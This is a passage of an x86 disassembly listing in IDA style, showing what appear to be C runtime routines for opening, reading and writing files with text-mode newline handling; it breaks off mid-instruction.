sub_421AB7 endp ; --------------------------------------------------------------------------- loc_421B2A: ; DATA XREF: .text:00429FC4o mov esi, [ebp-20h] ; =============== S U B R O U T I N E ======================================= sub_421B2D proc near ; CODE XREF: sub_421AB7+6Bp mov eax, ds:dword_438560 push dword ptr [eax+esi*4] push esi call sub_420D01 pop ecx pop ecx retn sub_421B2D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_421AB7 loc_421B3E: ; CODE XREF: sub_421AB7+25j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_421B50 mov eax, [ebp+var_1C] call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_421AB7 ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_421AB7+8Bp ; DATA XREF: .text:stru_429FB0o push 1 call sub_41E8CE pop ecx retn sub_421B50 endp ; =============== S U B R O U T I N E ======================================= sub_421B59 proc near ; CODE XREF: sub_41D92B+42p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_429110 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_421B79 call ds:dword_4290D8 ; RtlGetLastWin32Error push eax call sub_4200C7 pop ecx loc_421B75: ; CODE XREF: sub_421B59+41j or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_421B79: ; CODE XREF: sub_421B59+Dj test al, 1 jz short loc_421B9C test [esp+arg_4], 2 jz short loc_421B9C call sub_4200B5 mov dword ptr [eax], 0Dh call sub_4200BE mov dword ptr [eax], 5 jmp short loc_421B75 ; --------------------------------------------------------------------------- loc_421B9C: ; CODE XREF: sub_421B59+22j ; sub_421B59+29j xor eax, eax retn sub_421B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B9F proc near ; CODE XREF: sub_421E86+28p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch mov edx, [ebp+arg_C] push ebx push esi xor esi, esi test dl, dl mov [ebp+var_1C], 0Ch mov [ebp+var_18], esi jns short loc_421BC3 mov [ebp+var_14], esi mov [ebp+var_1], 10h jmp short loc_421BCE ; --------------------------------------------------------------------------- loc_421BC3: ; CODE XREF: sub_421B9F+19j mov [ebp+var_14], 1 mov [ebp+var_1], 0 loc_421BCE: ; CODE XREF: sub_421B9F+22j mov eax, 8000h test edx, eax jnz short loc_421BE8 test dh, 40h jnz short loc_421BE4 cmp ds:dword_4358C4, eax jz short loc_421BE8 loc_421BE4: ; CODE XREF: sub_421B9F+3Bj or [ebp+var_1], 80h loc_421BE8: ; CODE XREF: sub_421B9F+36j ; sub_421B9F+43j push 3 mov eax, edx pop ebx and eax, ebx sub eax, esi jz short loc_421C0B dec eax jz short loc_421C02 dec eax jnz short loc_421C26 mov [ebp+var_10], 0C0000000h jmp short loc_421C12 ; --------------------------------------------------------------------------- loc_421C02: ; CODE XREF: sub_421B9F+55j mov [ebp+var_10], 40000000h jmp short loc_421C12 ; --------------------------------------------------------------------------- loc_421C0B: ; CODE XREF: sub_421B9F+52j mov [ebp+var_10], 80000000h loc_421C12: ; CODE XREF: sub_421B9F+61j ; sub_421B9F+6Aj cmp ecx, 10h jz short loc_421C57 cmp ecx, 20h jz short loc_421C4E cmp ecx, 30h jz short loc_421C45 cmp ecx, 40h jz short loc_421C40 loc_421C26: ; CODE XREF: sub_421B9F+58j call sub_4200B5 mov dword ptr [eax], 16h call sub_4200BE mov [eax], esi or eax, 0FFFFFFFFh jmp loc_421E37 ; --------------------------------------------------------------------------- loc_421C40: ; CODE XREF: sub_421B9F+85j mov [ebp+var_8], ebx jmp short loc_421C5A ; --------------------------------------------------------------------------- loc_421C45: ; CODE XREF: sub_421B9F+80j mov [ebp+var_8], 2 jmp short loc_421C5A ; --------------------------------------------------------------------------- loc_421C4E: ; CODE XREF: sub_421B9F+7Bj mov [ebp+var_8], 1 jmp short loc_421C5A ; --------------------------------------------------------------------------- loc_421C57: ; CODE XREF: sub_421B9F+76j mov [ebp+var_8], esi loc_421C5A: ; CODE XREF: sub_421B9F+A4j ; sub_421B9F+ADj ... mov eax, edx mov edx, 700h and eax, edx mov ecx, 400h cmp eax, ecx push edi mov edi, 100h jg short loc_421CA1 jz short loc_421C9C cmp eax, esi jz short loc_421C9C cmp eax, edi jz short loc_421C93 cmp eax, 200h jz short loc_421CCD cmp eax, 300h jnz short loc_421CB3 mov [ebp+var_C], 2 jmp short loc_421CDD ; --------------------------------------------------------------------------- loc_421C93: ; CODE XREF: sub_421B9F+DBj mov [ebp+var_C], 4 jmp short loc_421CDD ; --------------------------------------------------------------------------- loc_421C9C: ; CODE XREF: sub_421B9F+D3j ; sub_421B9F+D7j mov [ebp+var_C], ebx jmp short loc_421CDD ; --------------------------------------------------------------------------- loc_421CA1: ; CODE XREF: sub_421B9F+D1j cmp eax, 500h jz short loc_421CD6 cmp eax, 600h jz short loc_421CCD cmp eax, edx jz short loc_421CD6 loc_421CB3: ; CODE XREF: sub_421B9F+E9j call sub_4200B5 mov dword ptr [eax], 16h call sub_4200BE mov [eax], esi loc_421CC5: ; CODE XREF: sub_421B9F+2E2j or eax, 0FFFFFFFFh jmp loc_421E36 ; --------------------------------------------------------------------------- loc_421CCD: ; CODE XREF: sub_421B9F+E2j ; sub_421B9F+10Ej mov [ebp+var_C], 5 jmp short loc_421CDD ; --------------------------------------------------------------------------- loc_421CD6: ; CODE XREF: sub_421B9F+107j ; sub_421B9F+112j mov [ebp+var_C], 1 loc_421CDD: ; CODE XREF: sub_421B9F+F2j ; sub_421B9F+FBj ... mov eax, [ebp+arg_C] test eax, edi mov esi, 80h jz short loc_421CFB mov ecx, ds:dword_435658 not ecx and ecx, [ebp+arg_10] test cl, cl js short loc_421CFB xor esi, esi inc esi loc_421CFB: ; CODE XREF: sub_421B9F+148j ; sub_421B9F+157j test al, 40h jz short loc_421D16 or byte ptr [ebp+var_10+2], 1 or esi, 4000000h cmp ds:dword_43565C, 2 jnz short loc_421D16 or [ebp+var_8], 4 loc_421D16: ; CODE XREF: sub_421B9F+15Ej ; sub_421B9F+171j test ah, 10h jz short loc_421D1D or esi, edi loc_421D1D: ; CODE XREF: sub_421B9F+17Aj test al, 20h jz short loc_421D29 or esi, 8000000h jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D29: ; CODE XREF: sub_421B9F+180j test al, 10h jz short loc_421D33 or esi, 10000000h loc_421D33: ; CODE XREF: sub_421B9F+188j ; sub_421B9F+18Cj call sub_425867 mov edi, eax or ebx, 0FFFFFFFFh cmp edi, ebx jnz short loc_421D5B call sub_4200B5 mov dword ptr [eax], 18h call sub_4200BE and dword ptr [eax], 0 loc_421D54: ; CODE XREF: sub_421B9F+208j mov eax, ebx jmp loc_421E36 ; --------------------------------------------------------------------------- loc_421D5B: ; CODE XREF: sub_421B9F+1A0j mov eax, [ebp+arg_0] push 0 push esi push [ebp+var_C] mov dword ptr [eax], 1 mov eax, [ebp+arg_4] mov [eax], edi lea eax, [ebp+var_1C] push eax push [ebp+var_8] push [ebp+var_10] push [ebp+arg_8] call ds:dword_4290F4 ; CreateFileA mov esi, eax cmp esi, ebx jz short loc_421D9A push esi call ds:dword_42905C ; GetFileType test eax, eax jnz short loc_421DA9 push esi call ds:dword_4290F0 ; CloseHandle loc_421D9A: ; CODE XREF: sub_421B9F+1E7j call ds:dword_4290D8 ; RtlGetLastWin32Error push eax call sub_4200C7 pop ecx jmp short loc_421D54 ; --------------------------------------------------------------------------- loc_421DA9: ; CODE XREF: sub_421B9F+1F2j cmp eax, 2 jnz short loc_421DB4 or [ebp+var_1], 40h jmp short loc_421DBD ; --------------------------------------------------------------------------- loc_421DB4: ; CODE XREF: sub_421B9F+20Dj cmp eax, 3 jnz short loc_421DBD or [ebp+var_1], 8 loc_421DBD: ; CODE XREF: sub_421B9F+213j ; sub_421B9F+218j push esi push edi call sub_425669 or [ebp+var_1], 1 mov eax, edi sar eax, 5 lea ebx, ds:438460h[eax*4] mov eax, edi and eax, 1Fh lea esi, [eax+eax*8] mov al, [ebp+var_1] pop ecx pop ecx mov ecx, [ebx] shl esi, 2 mov [ebp+var_1], al and [ebp+var_1], 48h mov [esi+ecx+4], al jnz short loc_421E1F test al, al jns short loc_421E1F test byte ptr [ebp+arg_C], 2 jz short loc_421E1F push 2 push 0FFFFFFFFh push edi call sub_423FFD add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_421E3B call sub_4200BE cmp dword ptr [eax], 83h jnz short loc_421E7A loc_421E1F: ; CODE XREF: sub_421B9F+252j ; sub_421B9F+256j ... cmp [ebp+var_1], 0 jnz short loc_421E34 test byte ptr [ebp+arg_C], 8 jz short loc_421E34 mov eax, [ebx] lea eax, [esi+eax+4] or byte ptr [eax], 20h loc_421E34: ; CODE XREF: sub_421B9F+284j ; sub_421B9F+28Aj mov eax, edi loc_421E36: ; CODE XREF: sub_421B9F+129j ; sub_421B9F+1B7j pop edi loc_421E37: ; CODE XREF: sub_421B9F+9Cj pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421E3B: ; CODE XREF: sub_421B9F+271j push 1 lea eax, [ebp+var_2] push eax push edi mov [ebp+var_2], 0 call sub_421FBC add esp, 0Ch test eax, eax jnz short loc_421E68 cmp [ebp+var_2], 1Ah jnz short loc_421E68 push [ebp+var_10] push edi call sub_426560 cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_421E7A loc_421E68: ; CODE XREF: sub_421B9F+2B1j ; sub_421B9F+2B7j push 0 push 0 push edi call sub_423FFD add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_421E1F loc_421E7A: ; CODE XREF: sub_421B9F+27Ej ; sub_421B9F+2C7j push edi call sub_421060 pop ecx jmp loc_421CC5 sub_421B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E86 proc near ; CODE XREF: sub_420D24+137p var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset stru_429FC8 call __SEH_prolog and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax mov ecx, [ebp+arg_8] call sub_421B9F add esp, 14h mov [ebp+var_24], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_421ECB mov eax, [ebp+var_24] call __SEH_epilog retn sub_421E86 endp ; =============== S U B R O U T I N E ======================================= sub_421ECB proc near ; CODE XREF: sub_421E86+37p ; DATA XREF: .text:stru_429FC8o cmp dword ptr [ebp-1Ch], 0 jz short locret_421EDA push dword ptr [ebp-20h] call sub_425845 pop ecx locret_421EDA: ; CODE XREF: sub_421ECB+4j retn sub_421ECB endp ; =============== S U B R O U T I N E ======================================= sub_421EDB proc near ; CODE XREF: sub_41D9E5+AAp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_421FB7 test al, 40h jnz loc_421FB7 test al, 2 jz short loc_421F02 or eax, 20h mov [esi+0Ch], eax jmp loc_421FB7 ; --------------------------------------------------------------------------- loc_421F02: ; CODE XREF: sub_421EDB+1Aj or eax, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_421F17 push esi call sub_42411C pop ecx jmp short loc_421F1C ; --------------------------------------------------------------------------- loc_421F17: ; CODE XREF: sub_421EDB+31j mov eax, [esi+8] mov [esi], eax loc_421F1C: ; CODE XREF: sub_421EDB+3Aj push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_422197 add esp, 0Ch test eax, eax mov [esi+4], eax jz short loc_421FA6 cmp eax, 0FFFFFFFFh jz short loc_421FA6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_421F7B mov ecx, [esi+10h] cmp ecx, 0FFFFFFFFh push edi jz short loc_421F61 mov edi, ecx sar edi, 5 mov edi, ds:dword_438460[edi*4] and ecx, 1Fh lea ecx, [ecx+ecx*8] lea edi, [edi+ecx*4] jmp short loc_421F66 ; --------------------------------------------------------------------------- loc_421F61: ; CODE XREF: sub_421EDB+6Dj mov edi, offset dword_433938 loc_421F66: ; CODE XREF: sub_421EDB+84j mov cl, [edi+4] and cl, 82h cmp cl, 82h pop edi jnz short loc_421F7B or edx, 2000h mov [esi+0Ch], edx loc_421F7B: ; CODE XREF: sub_421EDB+64j ; sub_421EDB+95j cmp dword ptr [esi+18h], 200h jnz short loc_421F98 mov ecx, [esi+0Ch] test cl, 8 jz short loc_421F98 test ch, 4 jnz short loc_421F98 mov dword ptr [esi+18h], 1000h loc_421F98: ; CODE XREF: sub_421EDB+A7j ; sub_421EDB+AFj ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_421FA6: ; CODE XREF: sub_421EDB+57j ; sub_421EDB+5Cj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_421FB7: ; CODE XREF: sub_421EDB+Aj ; sub_421EDB+12j ... or eax, 0FFFFFFFFh pop esi retn sub_421EDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421FBC proc near ; CODE XREF: sub_421B9F+2A7p ; sub_422197+52p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_8], 0 cmp [ebp+arg_8], 0 push ebx mov ebx, [ebp+arg_4] push esi push edi mov edx, ebx jz loc_422190 mov eax, [ebp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea esi, [eax+eax*8] lea edi, ds:438460h[ecx*4] mov eax, [edi] shl esi, 2 add eax, esi mov cl, [eax+4] test cl, 2 jnz loc_422190 test cl, 48h jz short loc_422027 cmp byte ptr [eax+5], 0Ah jz short loc_422027 mov eax, [edi] mov al, [eax+esi+5] dec [ebp+arg_8] mov [ebx], al mov eax, [edi] lea edx, [ebx+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_422027: ; CODE XREF: sub_421FBC+47j ; sub_421FBC+4Dj push 0 lea eax, [ebp+var_C] push eax push [ebp+arg_8] mov eax, [edi] push edx push dword ptr [eax+esi] call ds:dword_429108 ; ReadFile test eax, eax jnz short loc_422079 call ds:dword_4290D8 ; RtlGetLastWin32Error push 5 pop esi cmp eax, esi jnz short loc_422061 call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE mov [eax], esi jmp short loc_422071 ; --------------------------------------------------------------------------- loc_422061: ; CODE XREF: sub_421FBC+8Fj cmp eax, 6Dh jz loc_422190 push eax call sub_4200C7 pop ecx loc_422071: ; CODE XREF: sub_421FBC+A3j or eax, 0FFFFFFFFh jmp loc_422192 ; --------------------------------------------------------------------------- loc_422079: ; CODE XREF: sub_421FBC+82j mov eax, [ebp+var_C] mov ecx, [edi] add [ebp+var_8], eax test byte ptr [ecx+esi+4], 80h jz loc_42218B test eax, eax jz short loc_4220A0 cmp byte ptr [ebx], 0Ah jnz short loc_4220A0 mov eax, ecx lea eax, [eax+esi+4] or byte ptr [eax], 4 jmp short loc_4220A9 ; --------------------------------------------------------------------------- loc_4220A0: ; CODE XREF: sub_421FBC+D2j ; sub_421FBC+D7j mov eax, [edi] lea eax, [eax+esi+4] and byte ptr [eax], 0FBh loc_4220A9: ; CODE XREF: sub_421FBC+E2j mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] add ecx, eax cmp eax, ecx mov [ebp+arg_8], eax mov [ebp+var_8], ecx jnb loc_422185 loc_4220BF: ; CODE XREF: sub_421FBC+1B1j mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_422175 cmp al, 0Dh jz short loc_4220DB mov [ebx], al inc ebx inc [ebp+arg_8] jmp loc_422167 ; --------------------------------------------------------------------------- loc_4220DB: ; CODE XREF: sub_421FBC+112j dec ecx cmp [ebp+arg_8], ecx jnb short loc_4220F5 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_4220F0 add [ebp+arg_8], 2 jmp short loc_422149 ; --------------------------------------------------------------------------- loc_4220F0: ; CODE XREF: sub_421FBC+12Cj mov [ebp+arg_8], eax jmp short loc_422163 ; --------------------------------------------------------------------------- loc_4220F5: ; CODE XREF: sub_421FBC+123j inc [ebp+arg_8] push 0 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+var_1] push eax mov eax, [edi] push dword ptr [eax+esi] call ds:dword_429108 ; ReadFile test eax, eax jnz short loc_42211D call ds:dword_4290D8 ; RtlGetLastWin32Error test eax, eax jnz short loc_422163 loc_42211D: ; CODE XREF: sub_421FBC+155j cmp [ebp+var_C], 0 jz short loc_422163 mov eax, [edi] test byte ptr [eax+esi+4], 48h jz short loc_42213E mov al, [ebp+var_1] cmp al, 0Ah jz short loc_422149 mov byte ptr [ebx], 0Dh mov ecx, [edi] mov [ecx+esi+5], al jmp short loc_422166 ; --------------------------------------------------------------------------- loc_42213E: ; CODE XREF: sub_421FBC+16Ej cmp ebx, [ebp+arg_4] jnz short loc_42214E cmp [ebp+var_1], 0Ah jnz short loc_42214E loc_422149: ; CODE XREF: sub_421FBC+132j ; sub_421FBC+175j mov byte ptr [ebx], 0Ah jmp short loc_422166 ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_421FBC+185j ; sub_421FBC+18Bj push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_423FFD add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_422167 loc_422163: ; CODE XREF: sub_421FBC+137j ; sub_421FBC+15Fj ... mov byte ptr [ebx], 0Dh loc_422166: ; CODE XREF: sub_421FBC+180j ; sub_421FBC+190j inc ebx loc_422167: ; CODE XREF: sub_421FBC+11Aj ; sub_421FBC+1A5j mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_4220BF jmp short loc_422185 ; --------------------------------------------------------------------------- loc_422175: ; CODE XREF: sub_421FBC+10Aj mov eax, [edi] test byte ptr [eax+esi+4], 40h jnz short loc_422185 lea esi, [eax+esi+4] or byte ptr [esi], 2 loc_422185: ; CODE XREF: sub_421FBC+FDj ; sub_421FBC+1B7j ... sub ebx, [ebp+arg_4] mov [ebp+var_8], ebx loc_42218B: ; CODE XREF: sub_421FBC+CAj mov eax, [ebp+var_8] jmp short loc_422192 ; --------------------------------------------------------------------------- loc_422190: ; CODE XREF: sub_421FBC+16j ; sub_421FBC+3Ej ... xor eax, eax loc_422192: ; CODE XREF: sub_421FBC+B8j ; sub_421FBC+1D2j pop edi pop esi pop ebx leave retn sub_421FBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422197 proc near ; CODE XREF: sub_41D9E5+91p ; sub_421EDB+4Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00422226 SIZE 0000001C BYTES push 0Ch push offset stru_429FD8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, ds:dword_43844C jnb short loc_422226 mov eax, ebx sar eax, 5 lea edi, ds:438460h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_422226 push ebx call sub_4257A5 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_4221F6 push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_421FBC add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_42220D ; --------------------------------------------------------------------------- loc_4221F6: ; CODE XREF: sub_422197+49j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_42220D: ; CODE XREF: sub_422197+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_42221E mov eax, [ebp+var_1C] jmp short loc_42223C sub_422197 endp ; =============== S U B R O U T I N E ======================================= sub_42221B proc near ; DATA XREF: .text:stru_429FD8o mov ebx, [ebp+8] sub_42221B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42221E proc near ; CODE XREF: sub_422197+7Ap push ebx call sub_425845 pop ecx retn sub_42221E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422197 loc_422226: ; CODE XREF: sub_422197+15j ; sub_422197+35j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42223C: ; CODE XREF: sub_422197+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_422197 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=3A0h sub_422242 proc near ; CODE XREF: sub_422410+52p ; sub_426560+94p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-3A0h] sub esp, 420h mov eax, ds:dword_433148 push edi xor edi, edi cmp [ebp+3A0h+arg_8], edi mov [ebp+3A0h+var_4], eax mov [ebp+3A0h+var_418], edi mov [ebp+3A0h+var_41C], edi jnz short loc_422273 xor eax, eax jmp loc_4223FC ; --------------------------------------------------------------------------- loc_422273: ; CODE XREF: sub_422242+28j mov eax, [ebp+3A0h+arg_0] push ebx mov ebx, [ebp+3A0h+arg_0] and eax, 1Fh sar ebx, 5 push esi lea esi, [eax+eax*8] lea ebx, ds:438460h[ebx*4] mov eax, [ebx] shl esi, 2 test byte ptr [eax+esi+4], 20h jz short loc_4222AF push 2 push edi push edi push [ebp+3A0h+arg_0] call sub_4266A1 add esp, 10h loc_4222AF: ; CODE XREF: sub_422242+59j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42238A cmp [ebp+3A0h+arg_8], edi mov eax, [ebp+3A0h+arg_4] mov [ebp+3A0h+var_414], eax mov [ebp+3A0h+var_40C], edi jbe loc_4223C8 loc_4222D5: ; CODE XREF: sub_422242+10Dj mov ecx, [ebp+3A0h+var_414] sub ecx, [ebp+3A0h+arg_4] lea eax, [ebp+3A0h+var_408] mov [ebp+3A0h+var_410], edi loc_4222E4: ; CODE XREF: sub_422242+CFj cmp ecx, [ebp+3A0h+arg_8] jnb short loc_422313 mov edx, [ebp+3A0h+var_414] inc [ebp+3A0h+var_414] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_422304 inc [ebp+3A0h+var_41C] mov byte ptr [eax], 0Dh inc eax inc [ebp+3A0h+var_410] loc_422304: ; CODE XREF: sub_422242+B6j mov [eax], dl inc eax inc [ebp+3A0h+var_410] cmp [ebp+3A0h+var_410], 400h jl short loc_4222E4 loc_422313: ; CODE XREF: sub_422242+A8j mov edi, eax lea eax, [ebp+3A0h+var_408] sub edi, eax push 0 lea eax, [ebp+3A0h+var_420] push eax push edi lea eax, [ebp+3A0h+var_408] push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_429104 ; WriteFile test eax, eax jz short loc_422353 mov eax, [ebp+3A0h+var_420] add [ebp+3A0h+var_418], eax cmp eax, edi jl short loc_42235C mov eax, [ebp+3A0h+var_414] sub eax, [ebp+3A0h+arg_4] xor edi, edi cmp eax, [ebp+3A0h+arg_8] jb short loc_4222D5 jmp short loc_42235E ; --------------------------------------------------------------------------- loc_422353: ; CODE XREF: sub_422242+F0j call ds:dword_4290D8 ; RtlGetLastWin32Error mov [ebp+3A0h+var_40C], eax loc_42235C: ; CODE XREF: sub_422242+FAj xor edi, edi loc_42235E: ; CODE XREF: sub_422242+10Fj ; sub_422242+16Ej ... mov eax, [ebp+3A0h+var_418] cmp eax, edi jnz loc_4223F7 cmp [ebp+3A0h+var_40C], edi jz short loc_4223C8 push 5 pop esi cmp [ebp+3A0h+var_40C], esi jnz short loc_4223BD call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE mov [eax], esi jmp short loc_4223F2 ; --------------------------------------------------------------------------- loc_42238A: ; CODE XREF: sub_422242+75j push edi lea ecx, [ebp+3A0h+var_420] push ecx push [ebp+3A0h+arg_8] push [ebp+3A0h+arg_4] push dword ptr [eax] call ds:dword_429104 ; WriteFile test eax, eax jz short loc_4223B2 mov eax, [ebp+3A0h+var_420] mov [ebp+3A0h+var_40C], edi mov [ebp+3A0h+var_418], eax jmp short loc_42235E ; --------------------------------------------------------------------------- loc_4223B2: ; CODE XREF: sub_422242+163j call ds:dword_4290D8 ; RtlGetLastWin32Error mov [ebp+3A0h+var_40C], eax jmp short loc_42235E ; --------------------------------------------------------------------------- loc_4223BD: ; CODE XREF: sub_422242+132j push [ebp+3A0h+var_40C] call sub_4200C7 pop ecx jmp short loc_4223F2 ; --------------------------------------------------------------------------- loc_4223C8: ; CODE XREF: sub_422242+8Dj ; sub_422242+12Aj mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_4223E0 mov eax, [ebp+3A0h+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_4223E0 xor eax, eax jmp short loc_4223FA ; --------------------------------------------------------------------------- loc_4223E0: ; CODE XREF: sub_422242+18Dj ; sub_422242+198j call sub_4200B5 mov dword ptr [eax], 1Ch call sub_4200BE mov [eax], edi loc_4223F2: ; CODE XREF: sub_422242+146j ; sub_422242+184j or eax, 0FFFFFFFFh jmp short loc_4223FA ; --------------------------------------------------------------------------- loc_4223F7: ; CODE XREF: sub_422242+121j sub eax, [ebp+3A0h+var_41C] loc_4223FA: ; CODE XREF: sub_422242+19Cj ; sub_422242+1B3j pop esi pop ebx loc_4223FC: ; CODE XREF: sub_422242+2Cj mov ecx, [ebp+3A0h+var_4] pop edi call sub_41E5BB add ebp, 3A0h leave retn sub_422242 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422410 proc near ; CODE XREF: sub_41DB1A+9Fp ; sub_41F714+98p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0042249F SIZE 0000001C BYTES push 0Ch push offset stru_429FE8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, ds:dword_43844C jnb short loc_42249F mov eax, ebx sar eax, 5 lea edi, ds:438460h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_42249F push ebx call sub_4257A5 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_42246F push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_422242 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_422486 ; --------------------------------------------------------------------------- loc_42246F: ; CODE XREF: sub_422410+49j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_422486: ; CODE XREF: sub_422410+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_422497 mov eax, [ebp+var_1C] jmp short loc_4224B5 sub_422410 endp ; =============== S U B R O U T I N E ======================================= sub_422494 proc near ; DATA XREF: .text:stru_429FE8o mov ebx, [ebp+8] sub_422494 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_422497 proc near ; CODE XREF: sub_422410+7Ap push ebx call sub_425845 pop ecx retn sub_422497 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422410 loc_42249F: ; CODE XREF: sub_422410+15j ; sub_422410+35j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_4224B5: ; CODE XREF: sub_422410+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_422410 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=8Ch sub_4224BB proc near ; CODE XREF: sub_41DC6D+12p ; sub_41DC92+12p ... var_10C = byte ptr -10Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-8Ch] sub esp, 10Ch mov eax, ds:dword_433148 mov ecx, [ebp+8Ch+arg_0] push ebx push esi mov [ebp+8Ch+var_4], eax xor edx, edx push edi xor eax, eax loc_4224E1: ; CODE XREF: sub_4224BB+33j cmp ecx, ds:dword_4338A0[eax*8] jz short loc_4224F0 inc eax cmp eax, 13h jb short loc_4224E1 loc_4224F0: ; CODE XREF: sub_4224BB+2Dj mov esi, eax shl esi, 3 cmp ecx, ds:dword_4338A0[esi] jnz loc_422616 mov eax, ds:dword_4354F8 cmp eax, 1 jz loc_4225EE cmp eax, edx jnz short loc_422520 cmp ds:dword_433114, 1 jz loc_4225EE loc_422520: ; CODE XREF: sub_4224BB+56j cmp ecx, 0FCh jz 